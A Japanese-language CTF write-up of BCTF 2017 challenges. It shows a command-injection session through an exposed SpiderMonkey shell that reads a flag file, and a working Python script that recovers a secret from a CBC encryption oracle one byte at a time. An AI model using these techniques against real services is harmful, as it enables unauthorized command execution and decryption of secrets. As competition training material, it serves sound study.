BCTF 2017に参加。767ptで62位。
Checkin (Misc 69)
スコアサーバに表示されているトークンを送る。
$ nc 202.112.51.247 6666
Connection UUID:[redacted]
Token:[redacted]
bctf{N0_PWN_N0_FUN}
monkey (Pwn 327)
Spidermonkeyのjsshellが動いている。 helpを見るとos.systemがあり、特に制限なく使うことができた。
$ nc 202.112.51.248 2333
js> help()
(snip)
os - interface object
os.getenv os.getpid os.system os.spawn os.kill os.waitpid os.file os.path
(snip)
js> os.system("ls")
os.system("ls")
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
log
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
js> os.system("ls /home")
os.system("ls /home")
js
js> os.system("ls /home/js")
os.system("ls /home/js")
bin
dev
flag
js
lib
lib32
lib64
js> os.system("cat /home/js/flag")
os.system("cat /home/js/flag")
bctf{319c1b47f786c7b99a757da74fd38408}
Hulk (Crypto 869)
ブロック長128 bitのCBCモード暗号。 2回暗号化でき、1回目の平文にはフラグが連結される。 また、2回目のIVは1回目の暗号文の最後のブロックになっている。
$ nc 202.112.51.217 9999
Give me the first hex vaule to encrypt: 0x41414141
plaintext: 0x41414141|flag
ciphertext: 0x78d67c1f9b25f8a1320bf84c1e037f2cdeeb26184517dc48585c03e815f18c760df6094ae64c620f55be51716eb04740
Give me the second hex vaule to encrypt: 0x41414141
plaintext: 0x41414141
ciphertext: 0xc99784c01a45051c43f42e1f8b981bf6
$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len('c99784c01a45051c43f42e1f8b981bf6')*4
128
1回目に与える文字数を変えてみると、10文字のとき最後のブロックが増える。 このとき、最後のブロックがpaddingのみであると仮定し、2回目の平文を調整すると実際に暗号化後のブロックが一致する。
from minipwn import *
s = socket.create_connection(('202.112.51.217', 9999))
print recvuntil(s, '0x')
plain1 = '00' * 10
sendline(s, plain1)
m = expect(s, r'ciphertext: 0x(\w+)\n')
cipher1 = m.group(1)
cipher1_blocks = re.findall(r'(\w{32})', cipher1)
print cipher1_blocks
print recvuntil(s, '0x')
test = '\x10'*16
plain2 = xor(test, cipher1_blocks[-2].decode('hex'))
plain2 = xor(plain2, cipher1_blocks[-1].decode('hex'))
plain2 = plain2.encode('hex')
sendline(s, plain2)
m = expect(s, r'ciphertext: 0x(\w+)\n')
cipher2 = m.group(1)
cipher2_blocks = re.findall(r'(\w{32})', cipher2)
print cipher2_blocks
interact(s)
$ python test.py Give me the first hex vaule to encrypt: 0x ['ff621ece7133119b0ce0be64b4be3313', '8c920847fa1f92f136d12c3c239adaee', 'e5488568e852bd3cced52303c75b3eef', '036e930a2d9c9f176e661cad603b41de'] Give me the second hex vaule to encrypt: 0x ['036e930a2d9c9f176e661cad603b41de', '516bc85ad71223c1281a18737270b4f9'] *** Connection closed by remote host ***
よって、1回目の入力に追加されるフラグは 3*16 - 10 = 38 文字であることがわかる。
あとは、padding oracle attackの要領で、後ろから1文字ずつ特定していくことができる。
from minipwn import *
def attack(n, test):
s = socket.create_connection(('202.112.51.217', 9999))
recvuntil(s, '0x')
plain1 = '00' * (10+n)
sendline(s, plain1)
m = expect(s, r'ciphertext: 0x(\w+)\n')
cipher1 = m.group(1)
cipher1_blocks = re.findall(r'(\w{32})', cipher1)
recvuntil(s, '0x')
test += chr(16-len(test)%16)*(16-len(test)%16)
k = len(test)/16
plain2 = xor(test, cipher1_blocks[-k-1].decode('hex'))
plain2 = xor(plain2, cipher1_blocks[-1].decode('hex'))
plain2 = plain2.encode('hex')
sendline(s, plain2)
m = expect(s, r'ciphertext: 0x(\w+)\n')
cipher2 = m.group(1)
cipher2_blocks = re.findall(r'(\w{32})', cipher2)
s.close()
return cipher1_blocks[-k] == cipher2_blocks[0]
chars = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`|~ '
s = ''
while len(s) < 38:
for c in chars:
s2 = c + s
if attack(len(s2), s2):
s = s2
print s
break
$ python test.py
}
5}
05}
905}
(snip)
ctf{3c1fffb76f147d420f984ac651505905}
bctf{3c1fffb76f147d420f984ac651505905}
所感
他に解きたかった問題は以下。
- Baby Sqli (Web 161)
- babyuse (Pwn 273)
- foolme (Misc 384)